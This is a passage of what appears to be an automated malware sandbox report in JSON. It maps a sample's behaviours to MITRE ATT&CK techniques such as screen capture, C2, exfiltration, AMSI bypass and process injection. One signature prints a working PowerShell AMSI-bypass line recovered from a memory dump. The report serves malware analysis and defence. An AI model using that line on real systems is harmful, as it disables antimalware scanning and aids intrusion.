Discovery","attack_id":"T1016.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1016/001","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"},{"type":"informative","value":"Able to capture drag-drop file operations"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Collection","technique":"Data Staged","attack_id":"T1074","attack_id_wiki":"https://attack.mitre.org/techniques/T1074","identifiers":[{"type":"informative","value":"Able to aggregate collected data, possibly for exfiltration"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Collection","technique":"Archive via Custom Method","attack_id":"T1560.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/003","identifiers":[{"type":"informative","value":"Drops file with high entropy, indicating encryption/obfuscation"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"PCAP contains base64 strings"},{"type":"informative","value":"HTTP requests contain Base64 strings"},{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"suspicious","value":"Sends UDP traffic"},{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","identifiers":[{"type":"informative","value":"Found domain strings related to cloud services(possible C&C communication)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Command and Control","technique":"Remote Access Tools","attack_id":"T1219","attack_id_wiki":"https://attack.mitre.org/techniques/T1219","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Able to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a web server"},{"type":"informative","value":"Contains ability to upload file/data"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Unencrypted Non-C2 Protocol","attack_id":"T1048.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1048/003","identifiers":[{"type":"informative","value":"Data transmitted in plain text over an insecure network protocol/port"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Exfiltration","technique":"Data Transfer Size Limits","attack_id":"T1030","attack_id_wiki":"https://attack.mitre.org/techniques/T1030","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Web Service","attack_id":"T1567","attack_id_wiki":"https://attack.mitre.org/techniques/T1567","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"},{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Stealth","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"suspicious","value":"Opens file with deletion access rights"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Stealth","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"},{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Stealth","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Contains ability to load module (Dotnet string)"},{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Stealth","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"suspicious","value":"Contains escaped byte string (often part of obfuscated shellcode)"},{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Stealth","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"},{"type":"informative","value":"Spawns Windows crash diagnostic and reporting process"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Stealth","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Stealth","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"},{"type":"malicious","value":"Drops executable files to the application program directory (%ProgramData%)"},{"type":"informative","value":"Renames files"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Stealth","technique":"Match Legitimate Resource Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"informative","value":"Creates file(s) in System32 or SysWOW64 directory"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Stealth","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"},{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Stealth","technique":"Double File Extension","attack_id":"T1036.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/007","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Stealth","technique":"Compression","attack_id":"T1027.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/015","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Stealth","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"informative","value":"YARA signature match – Embedded PE executable"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Stealth","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Stealth","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"},{"type":"informative","value":"Able to read the PEB (Process Environment Block) structure"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Stealth","technique":"Junk Code Insertion","attack_id":"T1027.016","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/016","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Stealth","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Stealth","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Defense Impairment","technique":"Disable or Modify Tools","attack_id":"T1685","attack_id_wiki":"https://attack.mitre.org/techniques/T1685","identifiers":[{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Contains strings related to AMSI (Anti Malware Scan Interface)"},{"type":"informative","value":"Contains ability to perform AMSI Bypass"},{"type":"informative","value":"Able to modify Windows Defender exclusions (Powershell command string)"},{"type":"informative","value":"Modifies process error mode to suppress error dialogs"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Defense Impairment","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Defense Impairment","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]}],"sandbox_signatures":[{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Djb2 Hash Algorithm","description":"YARA signature for Djb2 Hash Algorithm matched on file \"sample.bin\"","origin":"Static Analysis","mitre_attack_id":"T1027","id":"yara-542","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$36","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-101","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"sample.bin\"), Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059.003","id":"string-206","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1057","id":"string-272","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-315","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1074.001","id":"string-423","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"sample.bin\"), Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-319","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetFileAttributesW\" (Indicator: \"GetFileAttributes\"; Source: \"sample.bin\"), Found reference to API \"GetCurrentDirectoryW\" (Indicator: \"GetCurrentDirectory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-207","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-317","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; Source: \"sample.bin\"), Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-83","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-164","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"sample.bin\"), Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\"), Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\"), Found reference to API \"GetEnvironmentStringsW\" (Indicator: \"GetEnvironmentStrings\"; Source: \"sample.bin\"), Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1057","id":"string-85","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\"), Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-427","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-131","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1071.001","id":"string-457","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"sample.bin\"), Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.002","id":"string-661","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetEnvironmentStringsW\" in \"sample.bin\"","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-89","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"SystemTimeToFileTime\" (Indicator: \"SystemTimeToFileTime\"; Source: \"sample.bin\"), Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1070.006","id":"string-249","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1543","id":"string-167","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"sample.bin\"), Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"sample.bin\"), Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1489","id":"string-316","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"OutputDebugStringW\" (Indicator: \"OutputDebugString\"; Source: \"sample.bin\"), Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; Source: \"sample.bin\"), Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1622","id":"string-183","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; Source: \"sample.bin\"), Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; Source: \"sample.bin\"), Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1622","id":"string-148","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1070.006","id":"string-409","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"sample.bin\"), Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1055.001","id":"string-318","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"sample.bin\"), Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.003","id":"string-226","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-310","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to build PowerShell events through modules contained in the .NET code","description":"Found string \"System.Reflection.Assembly]::LoadWithPartialName('System.Management.Automation').GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);\" (Source: \"00000000-00003580.00000001.112940.02CA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-942","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"$37","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"WriteProcessMemory\" (Indicator: \"WriteProcessMemory\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; Source: \"00000000-00003580.00000000.111018.168B3000.00000002.mdmp, 